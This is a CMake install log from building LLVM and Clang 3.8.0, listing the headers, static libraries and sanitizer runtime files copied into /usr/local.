-- Installing: /usr/local/include/llvm/Support/ELFRelocs/SystemZ.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/AArch64.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/PowerPC64.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/ARM.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/i386.def
-- Installing: /usr/local/include/llvm/Support/ELFRelocs/Sparc.def
-- Installing: /usr/local/include/llvm/Support/MemoryObject.h
-- Installing: /usr/local/include/llvm/Support/MemoryBuffer.h
-- Installing: /usr/local/include/llvm/Support/SMLoc.h
-- Installing: /usr/local/include/llvm/Support/MathExtras.h
-- Installing: /usr/local/include/llvm/Support/CrashRecoveryContext.h
-- Installing: /usr/local/include/llvm/Support/ELF.h
-- Installing: /usr/local/include/llvm/Support/StringSaver.h
-- Installing: /usr/local/include/llvm/Support/Errno.h
-- Installing: /usr/local/include/llvm/Support/SwapByteOrder.h
-- Installing: /usr/local/include/llvm/Support/ManagedStatic.h
-- Installing: /usr/local/include/llvm/Support/YAMLParser.h
-- Installing: /usr/local/include/llvm/Support/FileUtilities.h
-- Installing: /usr/local/include/llvm/Support/Watchdog.h
-- Installing: /usr/local/include/llvm/Support/Options.h
-- Installing: /usr/local/include/llvm/Support/GenericDomTreeConstruction.h
-- Installing: /usr/local/include/llvm/Support/Locale.h
-- Installing: /usr/local/include/llvm/Support/ScaledNumber.h
-- Installing: /usr/local/include/llvm/Support/FileOutputBuffer.h
-- Installing: /usr/local/include/llvm/Support/CommandLine.h
-- Installing: /usr/local/include/llvm/Support/ARMTargetParser.def
-- Installing: /usr/local/include/llvm/Support/TimeValue.h
-- Installing: /usr/local/include/llvm/ExecutionEngine
-- Installing: /usr/local/include/llvm/ExecutionEngine/OrcMCJITReplacement.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/JITSymbolFlags.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/SectionMemoryManager.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Interpreter.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/ExecutionUtils.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/IndirectionUtils.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/JITSymbol.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/LogicalDylib.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/IRCompileLayer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/LambdaResolver.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/ObjectTransformLayer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/LazyEmittingLayer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/NullResolver.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/IRTransformLayer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/ObjectLinkingLayer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/OrcTargetSupport.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/GlobalMappingLayer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/CompileOnDemandLayer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/Orc/CompileUtils.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/MCJIT.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/ExecutionEngine.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/ObjectCache.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/RTDyldMemoryManager.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/JITEventListener.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/GenericValue.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/OProfileWrapper.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/RuntimeDyld.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/ObjectMemoryBuffer.h
-- Installing: /usr/local/include/llvm/ExecutionEngine/RuntimeDyldChecker.h
-- Installing: /usr/local/include/llvm/LinkAllIR.h
-- Installing: /usr/local/include/llvm/LineEditor
-- Installing: /usr/local/include/llvm/LineEditor/LineEditor.h
-- Installing: /usr/local/include/llvm/MC
-- Installing: /usr/local/include/llvm/MC/MCLinkerOptimizationHint.h
-- Installing: /usr/local/include/llvm/MC/MCSubtargetInfo.h
-- Installing: /usr/local/include/llvm/MC/MCRegisterInfo.h
-- Installing: /usr/local/include/llvm/MC/MCDirectives.h
-- Installing: /usr/local/include/llvm/MC/MCObjectFileInfo.h
-- Installing: /usr/local/include/llvm/MC/MCInstrDesc.h
-- Installing: /usr/local/include/llvm/MC/MCExpr.h
-- Installing: /usr/local/include/llvm/MC/MCFixup.h
-- Installing: /usr/local/include/llvm/MC/MCDisassembler.h
-- Installing: /usr/local/include/llvm/MC/SectionKind.h
-- Installing: /usr/local/include/llvm/MC/MCCodeEmitter.h
-- Installing: /usr/local/include/llvm/MC/MachineLocation.h
-- Installing: /usr/local/include/llvm/MC/MCAsmInfoELF.h
-- Installing: /usr/local/include/llvm/MC/MCMachObjectWriter.h
-- Installing: /usr/local/include/llvm/MC/MCSectionCOFF.h
-- Installing: /usr/local/include/llvm/MC/MCTargetAsmParser.h
-- Installing: /usr/local/include/llvm/MC/MCSymbolELF.h
-- Installing: /usr/local/include/llvm/MC/MCRelocationInfo.h
-- Installing: /usr/local/include/llvm/MC/MCAsmInfoCOFF.h
-- Installing: /usr/local/include/llvm/MC/SubtargetFeature.h
-- Installing: /usr/local/include/llvm/MC/MCValue.h
-- Installing: /usr/local/include/llvm/MC/MCDwarf.h
-- Installing: /usr/local/include/llvm/MC/MCAsmBackend.h
-- Installing: /usr/local/include/llvm/MC/MCStreamer.h
-- Installing: /usr/local/include/llvm/MC/MCObjectWriter.h
-- Installing: /usr/local/include/llvm/MC/MCSymbolCOFF.h
-- Installing: /usr/local/include/llvm/MC/MCFixedLenDisassembler.h
-- Installing: /usr/local/include/llvm/MC/MCAsmLayout.h
-- Installing: /usr/local/include/llvm/MC/MCInst.h
-- Installing: /usr/local/include/llvm/MC/MCAnalysis
-- Installing: /usr/local/include/llvm/MC/StringTableBuilder.h
-- Installing: /usr/local/include/llvm/MC/MCSectionELF.h
-- Installing: /usr/local/include/llvm/MC/MCSchedule.h
-- Installing: /usr/local/include/llvm/MC/MCELFObjectWriter.h
-- Installing: /usr/local/include/llvm/MC/MCContext.h
-- Installing: /usr/local/include/llvm/MC/ConstantPools.h
-- Installing: /usr/local/include/llvm/MC/MCInstPrinter.h
-- Installing: /usr/local/include/llvm/MC/MCObjectStreamer.h
-- Installing: /usr/local/include/llvm/MC/MCAsmInfo.h
-- Installing: /usr/local/include/llvm/MC/MCInstrAnalysis.h
-- Installing: /usr/local/include/llvm/MC/MCLabel.h
-- Installing: /usr/local/include/llvm/MC/MCSymbolMachO.h
-- Installing: /usr/local/include/llvm/MC/YAML.h
-- Installing: /usr/local/include/llvm/MC/MCAsmInfoDarwin.h
-- Installing: /usr/local/include/llvm/MC/MCSectionMachO.h
-- Installing: /usr/local/include/llvm/MC/MCWinCOFFStreamer.h
-- Installing: /usr/local/include/llvm/MC/MCInstBuilder.h
-- Installing: /usr/local/include/llvm/MC/MCInstrInfo.h
-- Installing: /usr/local/include/llvm/MC/MCWinCOFFObjectWriter.h
-- Installing: /usr/local/include/llvm/MC/MCExternalSymbolizer.h
-- Installing: /usr/local/include/llvm/MC/MCSymbol.h
-- Installing: /usr/local/include/llvm/MC/MCSymbolizer.h
-- Installing: /usr/local/include/llvm/MC/MCSection.h
-- Installing: /usr/local/include/llvm/MC/MCWinEH.h
-- Installing: /usr/local/include/llvm/MC/MCInstrItineraries.h
-- Installing: /usr/local/include/llvm/MC/MCWin64EH.h
-- Installing: /usr/local/include/llvm/MC/MCFixupKindInfo.h
-- Installing: /usr/local/include/llvm/MC/MCCodeGenInfo.h
-- Installing: /usr/local/include/llvm/MC/MCTargetOptionsCommandFlags.h
-- Installing: /usr/local/include/llvm/MC/MCAssembler.h
-- Installing: /usr/local/include/llvm/MC/MCParser
-- Installing: /usr/local/include/llvm/MC/MCParser/MCParsedAsmOperand.h
-- Installing: /usr/local/include/llvm/MC/MCParser/MCAsmParserExtension.h
-- Installing: /usr/local/include/llvm/MC/MCParser/AsmLexer.h
-- Installing: /usr/local/include/llvm/MC/MCParser/MCAsmParserUtils.h
-- Installing: /usr/local/include/llvm/MC/MCParser/AsmCond.h
-- Installing: /usr/local/include/llvm/MC/MCParser/MCAsmParser.h
-- Installing: /usr/local/include/llvm/MC/MCParser/MCAsmLexer.h
-- Installing: /usr/local/include/llvm/MC/MCTargetOptions.h
-- Installing: /usr/local/include/llvm/MC/MCELFStreamer.h
-- Installing: /usr/local/include/llvm/PassInfo.h
-- Installing: /usr/local/include/llvm/IRReader
-- Installing: /usr/local/include/llvm/IRReader/IRReader.h
-- Installing: /usr/local/include/llvm/Pass.h
-- Installing: /usr/local/include/llvm/Transforms
-- Installing: /usr/local/include/llvm/Transforms/IPO.h
-- Installing: /usr/local/include/llvm/Transforms/Vectorize.h
-- Installing: /usr/local/include/llvm/Transforms/ObjCARC.h
-- Installing: /usr/local/include/llvm/Transforms/IPO
-- Installing: /usr/local/include/llvm/Transforms/IPO/PassManagerBuilder.h
-- Installing: /usr/local/include/llvm/Transforms/IPO/InlinerPass.h
-- Installing: /usr/local/include/llvm/Transforms/IPO/LowerBitSets.h
-- Installing: /usr/local/include/llvm/Transforms/InstCombine
-- Installing: /usr/local/include/llvm/Transforms/InstCombine/InstCombine.h
-- Installing: /usr/local/include/llvm/Transforms/InstCombine/InstCombineWorklist.h
-- Installing: /usr/local/include/llvm/Transforms/Instrumentation.h
-- Installing: /usr/local/include/llvm/Transforms/Utils
-- Installing: /usr/local/include/llvm/Transforms/Utils/SSAUpdater.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/ValueMapper.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/SimplifyIndVar.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/PromoteMemToReg.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/SSAUpdaterImpl.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/IntegerDivision.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/BasicBlockUtils.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/GlobalStatus.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/Cloning.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/ModuleUtils.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/SplitModule.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/CtorUtils.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/BuildLibCalls.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/UnrollLoop.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/CodeExtractor.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/ASanStackFrameLayout.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/SymbolRewriter.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/SimplifyLibCalls.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/Local.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/LoopUtils.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/UnifyFunctionExitNodes.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/BypassSlowDivision.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/CmpInstAnalysis.h
-- Installing: /usr/local/include/llvm/Transforms/Utils/LoopVersioning.h
-- Installing: /usr/local/include/llvm/Transforms/Scalar
-- Installing: /usr/local/include/llvm/Transforms/Scalar/EarlyCSE.h
-- Installing: /usr/local/include/llvm/Transforms/Scalar/SimplifyCFG.h
-- Installing: /usr/local/include/llvm/Transforms/Scalar/SROA.h
-- Installing: /usr/local/include/llvm/Transforms/Scalar/LowerExpectIntrinsic.h
-- Installing: /usr/local/include/llvm/Transforms/Scalar.h
-- Installing: /usr/local/include/llvm/PassSupport.h
-- Installing: /usr/local/include/llvm/Linker
-- Installing: /usr/local/include/llvm/Linker/Linker.h
-- Installing: /usr/local/include/llvm-c
-- Installing: /usr/local/include/llvm-c/Analysis.h
-- Installing: /usr/local/include/llvm-c/BitWriter.h
-- Installing: /usr/local/include/llvm-c/ExecutionEngine.h
-- Installing: /usr/local/include/llvm-c/Object.h
-- Installing: /usr/local/include/llvm-c/BitReader.h
-- Installing: /usr/local/include/llvm-c/Linker.h
-- Installing: /usr/local/include/llvm-c/Core.h
-- Installing: /usr/local/include/llvm-c/LinkTimeOptimizer.h
-- Installing: /usr/local/include/llvm-c/Target.h
-- Installing: /usr/local/include/llvm-c/Support.h
-- Installing: /usr/local/include/llvm-c/lto.h
-- Installing: /usr/local/include/llvm-c/TargetMachine.h
-- Installing: /usr/local/include/llvm-c/IRReader.h
-- Installing: /usr/local/include/llvm-c/Transforms
-- Installing: /usr/local/include/llvm-c/Transforms/PassManagerBuilder.h
-- Installing: /usr/local/include/llvm-c/Transforms/IPO.h
-- Installing: /usr/local/include/llvm-c/Transforms/Vectorize.h
-- Installing: /usr/local/include/llvm-c/Transforms/Scalar.h
-- Installing: /usr/local/include/llvm-c/Initialization.h
-- Installing: /usr/local/include/llvm-c/Disassembler.h
-- Installing: /usr/local/include/llvm
-- Installing: /usr/local/include/llvm/Config
-- Installing: /usr/local/include/llvm/Config/Disassemblers.def
-- Installing: /usr/local/include/llvm/Config/Targets.def
-- Installing: /usr/local/include/llvm/Config/AsmPrinters.def
-- Installing: /usr/local/include/llvm/Config/AsmParsers.def
-- Installing: /usr/local/include/llvm/Config/llvm-config.h
-- Installing: /usr/local/include/llvm/IR
-- Installing: /usr/local/include/llvm/IR/Intrinsics.gen
-- Installing: /usr/local/include/llvm/Support
-- Installing: /usr/local/include/llvm/Support/DataTypes.h
-- Installing: /usr/local/lib/libLLVMSupport.a
-- Installing: /usr/local/lib/libLLVMTableGen.a
-- Installing: /usr/local/bin/llvm-tblgen
-- Installing: /usr/local/lib/libLLVMCore.a
-- Installing: /usr/local/lib/libLLVMIRReader.a
-- Installing: /usr/local/lib/libLLVMCodeGen.a
-- Installing: /usr/local/lib/libLLVMSelectionDAG.a
-- Installing: /usr/local/lib/libLLVMAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMMIRParser.a
-- Installing: /usr/local/lib/libLLVMBitReader.a
-- Installing: /usr/local/lib/libLLVMBitWriter.a
-- Installing: /usr/local/lib/libLLVMTransformUtils.a
-- Installing: /usr/local/lib/libLLVMInstrumentation.a
-- Installing: /usr/local/lib/libLLVMInstCombine.a
-- Installing: /usr/local/lib/libLLVMScalarOpts.a
-- Installing: /usr/local/lib/libLLVMipo.a
-- Installing: /usr/local/lib/libLLVMVectorize.a
-- Installing: /usr/local/lib/LLVMHello.so
-- Installing: /usr/local/lib/libLLVMObjCARCOpts.a
-- Installing: /usr/local/lib/libLLVMLinker.a
-- Installing: /usr/local/lib/libLLVMAnalysis.a
-- Installing: /usr/local/lib/libLLVMLTO.a
-- Installing: /usr/local/lib/libLLVMMC.a
-- Installing: /usr/local/lib/libLLVMMCParser.a
-- Installing: /usr/local/lib/libLLVMMCDisassembler.a
-- Installing: /usr/local/lib/libLLVMObject.a
-- Installing: /usr/local/lib/libLLVMOption.a
-- Installing: /usr/local/lib/libLLVMDebugInfoDWARF.a
-- Installing: /usr/local/lib/libLLVMDebugInfoPDB.a
-- Installing: /usr/local/lib/libLLVMExecutionEngine.a
-- Installing: /usr/local/lib/libLLVMInterpreter.a
-- Installing: /usr/local/lib/libLLVMMCJIT.a
-- Installing: /usr/local/lib/libLLVMOrcJIT.a
-- Installing: /usr/local/lib/libLLVMRuntimeDyld.a
-- Installing: /usr/local/lib/libLLVMTarget.a
-- Installing: /usr/local/lib/libLLVMAArch64CodeGen.a
-- Installing: /usr/local/lib/libLLVMAArch64Info.a
-- Installing: /usr/local/lib/libLLVMAArch64AsmParser.a
-- Installing: /usr/local/lib/libLLVMAArch64Disassembler.a
-- Installing: /usr/local/lib/libLLVMAArch64AsmPrinter.a
-- Installing: /usr/local/lib/libLLVMAArch64Desc.a
-- Installing: /usr/local/lib/libLLVMAArch64Utils.a
-- Installing: /usr/local/lib/libLLVMAMDGPUCodeGen.a
-- Installing: /usr/local/lib/libLLVMAMDGPUAsmParser.a
-- Installing: /usr/local/lib/libLLVMAMDGPUAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMAMDGPUInfo.a
-- Installing: /usr/local/lib/libLLVMAMDGPUDesc.a
-- Installing: /usr/local/lib/libLLVMAMDGPUUtils.a
-- Installing: /usr/local/lib/libLLVMARMCodeGen.a
-- Installing: /usr/local/lib/libLLVMARMInfo.a
-- Installing: /usr/local/lib/libLLVMARMAsmParser.a
-- Installing: /usr/local/lib/libLLVMARMDisassembler.a
-- Installing: /usr/local/lib/libLLVMARMAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMARMDesc.a
-- Installing: /usr/local/lib/libLLVMBPFCodeGen.a
-- Installing: /usr/local/lib/libLLVMBPFAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMBPFInfo.a
-- Installing: /usr/local/lib/libLLVMBPFDesc.a
-- Installing: /usr/local/lib/libLLVMCppBackendCodeGen.a
-- Installing: /usr/local/lib/libLLVMCppBackendInfo.a
-- Installing: /usr/local/lib/libLLVMHexagonCodeGen.a
-- Installing: /usr/local/lib/libLLVMHexagonInfo.a
-- Installing: /usr/local/lib/libLLVMHexagonDesc.a
-- Installing: /usr/local/lib/libLLVMHexagonDisassembler.a
-- Installing: /usr/local/lib/libLLVMMipsCodeGen.a
-- Installing: /usr/local/lib/libLLVMMipsAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMMipsDisassembler.a
-- Installing: /usr/local/lib/libLLVMMipsInfo.a
-- Installing: /usr/local/lib/libLLVMMipsDesc.a
-- Installing: /usr/local/lib/libLLVMMipsAsmParser.a
-- Installing: /usr/local/lib/libLLVMMSP430CodeGen.a
-- Installing: /usr/local/lib/libLLVMMSP430AsmPrinter.a
-- Installing: /usr/local/lib/libLLVMMSP430Info.a
-- Installing: /usr/local/lib/libLLVMMSP430Desc.a
-- Installing: /usr/local/lib/libLLVMNVPTXCodeGen.a
-- Installing: /usr/local/lib/libLLVMNVPTXInfo.a
-- Installing: /usr/local/lib/libLLVMNVPTXAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMNVPTXDesc.a
-- Installing: /usr/local/lib/libLLVMPowerPCCodeGen.a
-- Installing: /usr/local/lib/libLLVMPowerPCAsmParser.a
-- Installing: /usr/local/lib/libLLVMPowerPCDisassembler.a
-- Installing: /usr/local/lib/libLLVMPowerPCAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMPowerPCInfo.a
-- Installing: /usr/local/lib/libLLVMPowerPCDesc.a
-- Installing: /usr/local/lib/libLLVMSparcCodeGen.a
-- Installing: /usr/local/lib/libLLVMSparcInfo.a
-- Installing: /usr/local/lib/libLLVMSparcDesc.a
-- Installing: /usr/local/lib/libLLVMSparcAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMSparcAsmParser.a
-- Installing: /usr/local/lib/libLLVMSparcDisassembler.a
-- Installing: /usr/local/lib/libLLVMSystemZCodeGen.a
-- Installing: /usr/local/lib/libLLVMSystemZAsmParser.a
-- Installing: /usr/local/lib/libLLVMSystemZDisassembler.a
-- Installing: /usr/local/lib/libLLVMSystemZAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMSystemZInfo.a
-- Installing: /usr/local/lib/libLLVMSystemZDesc.a
-- Installing: /usr/local/lib/libLLVMX86CodeGen.a
-- Installing: /usr/local/lib/libLLVMX86AsmParser.a
-- Installing: /usr/local/lib/libLLVMX86Disassembler.a
-- Installing: /usr/local/lib/libLLVMX86AsmPrinter.a
-- Installing: /usr/local/lib/libLLVMX86Desc.a
-- Installing: /usr/local/lib/libLLVMX86Info.a
-- Installing: /usr/local/lib/libLLVMX86Utils.a
-- Installing: /usr/local/lib/libLLVMXCoreCodeGen.a
-- Installing: /usr/local/lib/libLLVMXCoreDisassembler.a
-- Installing: /usr/local/lib/libLLVMXCoreAsmPrinter.a
-- Installing: /usr/local/lib/libLLVMXCoreInfo.a
-- Installing: /usr/local/lib/libLLVMXCoreDesc.a
-- Installing: /usr/local/lib/libLLVMAsmParser.a
-- Installing: /usr/local/lib/libLLVMLineEditor.a
-- Installing: /usr/local/lib/libLLVMProfileData.a
-- Installing: /usr/local/lib/libLLVMPasses.a
-- Installing: /usr/local/lib/libLLVMLibDriver.a
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/allocator_interface.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/asan_interface.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/common_interface_defs.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/coverage_interface.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/dfsan_interface.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/linux_syscall_hooks.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/lsan_interface.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/msan_interface.h
-- Installing: /usr/local/lib/clang/3.8.0/include/sanitizer/tsan_interface_atomic.h
-- Installing: /usr/local/lib/clang/3.8.0/cfi_blacklist.txt
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.lsan-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.ubsan_standalone-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.ubsan_standalone-i386.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.ubsan_standalone_cxx-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.ubsan_standalone_cxx-i386.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.ubsan_standalone-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.ubsan_standalone_cxx-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan-i386.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan_cxx-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan_cxx-i386.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan-preinit-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan-preinit-i386.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan-x86_64.so
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan_cxx-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.asan-i386.so
-- Installing: /usr/local/lib/clang/3.8.0/asan_blacklist.txt
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.builtins-i386.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.builtins-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.dfsan-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.dfsan-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/dfsan_abilist.txt
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.msan-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.msan_cxx-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.msan-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.msan_cxx-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/msan_blacklist.txt
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.profile-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.profile-i386.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.tsan-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.tsan_cxx-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.tsan-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.tsan_cxx-x86_64.a.syms
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.dd-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.dyndd-x86_64.so
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.safestack-x86_64.a
-- Installing: /usr/local/lib/clang/3.8.0/lib/linux/libclang_rt.safestack-i386.a
-- Installing: /usr/local/lib/libLTO.so.3.8.0svn
-- Installing: /usr/local/lib/libLTO.so.3.8
-- Installing: /usr/local/lib/libLTO.so
-- Installing: /usr/local/include/llvm-c/lto.h
-- Installing: /usr/local/include/clang
-- Installing: /usr/local/include/clang/CodeGen
-- Installing: /usr/local/include/clang/CodeGen/ObjectFilePCHContainerOperations.h
-- Installing: /usr/local/include/clang/CodeGen/CodeGenABITypes.h
-- Installing: /usr/local/include/clang/CodeGen/BackendUtil.h
-- Installing: /usr/local/include/clang/CodeGen/CodeGenAction.h
-- Installing: /usr/local/include/clang/CodeGen/CGFunctionInfo.h
-- Installing: /usr/local/include/clang/CodeGen/ModuleBuilder.h
-- Installing: /usr/local/include/clang/Analysis
-- Installing: /usr/local/include/clang/Analysis/ProgramPoint.h
-- Installing: /usr/local/include/clang/Analysis/CallGraph.h
-- Installing: /usr/local/include/clang/Analysis/CodeInjector.h
-- Installing: /usr/local/include/clang/Analysis/DomainSpecific
-- Installing: /usr/local/include/clang/Analysis/DomainSpecific/ObjCNoReturn.h
-- Installing: /usr/local/include/clang/Analysis/DomainSpecific/CocoaConventions.h
-- Installing: /usr/local/include/clang/Analysis/CFG.h
-- Installing: /usr/local/include/clang/Analysis/CFGStmtMap.h
-- Installing: /usr/local/include/clang/Analysis/Analyses
-- Installing: /usr/local/include/clang/Analysis/Analyses/ThreadSafetyTIL.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/LiveVariables.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/PostOrderCFGView.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/ThreadSafetyTraverse.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/UninitializedValues.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/CFGReachabilityAnalysis.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/FormatString.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/ThreadSafety.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/ThreadSafetyOps.def
-- Installing: /usr/local/include/clang/Analysis/Analyses/Consumed.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/ThreadSafetyUtil.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/ReachableCode.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/Dominators.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/ThreadSafetyLogical.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/ThreadSafetyCommon.h
-- Installing: /usr/local/include/clang/Analysis/Analyses/PseudoConstantAnalysis.h
-- Installing: /usr/local/include/clang/Analysis/Support
-- Installing: /usr/local/include/clang/Analysis/Support/BumpVector.h
-- Installing: /usr/local/include/clang/Analysis/FlowSensitive
-- Installing: /usr/local/include/clang/Analysis/FlowSensitive/DataflowValues.h
-- Installing: /usr/local/include/clang/Analysis/AnalysisDiagnostic.h
-- Installing: /usr/local/include/clang/Analysis/AnalysisContext.h
-- Installing: /usr/local/include/clang/Frontend
-- Installing: /usr/local/include/clang/Frontend/ASTConsumers.h
-- Installing: /usr/local/include/clang/Frontend/ChainedDiagnosticConsumer.h
-- Installing: /usr/local/include/clang/Frontend/CompilerInstance.h
-- Installing: /usr/local/include/clang/Frontend/PreprocessorOutputOptions.h
-- Installing: /usr/local/include/clang/Frontend/LogDiagnosticPrinter.h
-- Installing: /usr/local/include/clang/Frontend/CodeGenOptions.def
-- Installing: /usr/local/include/clang/Frontend/Utils.h
-- Installing: /usr/local/include/clang/Frontend/VerifyDiagnosticConsumer.h
-- Installing: /usr/local/include/clang/Frontend/SerializedDiagnosticPrinter.h
-- Installing: /usr/local/include/clang/Frontend/FrontendDiagnostic.h
-- Installing: /usr/local/include/clang/Frontend/LangStandard.h
-- Installing: /usr/local/include/clang/Frontend/CompilerInvocation.h
-- Installing: /usr/local/include/clang/Frontend/MultiplexConsumer.h
-- Installing: /usr/local/include/clang/Frontend/MigratorOptions.h
-- Installing: /usr/local/include/clang/Frontend/FrontendActions.h
-- Installing: /usr/local/include/clang/Frontend/FrontendAction.h
-- Installing: /usr/local/include/clang/Frontend/ASTUnit.h
-- Installing: /usr/local/include/clang/Frontend/DiagnosticRenderer.h
-- Installing: /usr/local/include/clang/Frontend/TextDiagnosticPrinter.h
-- Installing: /usr/local/include/clang/Frontend/CommandLineSourceLoc.h
-- Installing: /usr/local/include/clang/Frontend/CodeGenOptions.h
-- Installing: /usr/local/include/clang/Frontend/LangStandards.def
-- Installing: /usr/local/include/clang/Frontend/PCHContainerOperations.h
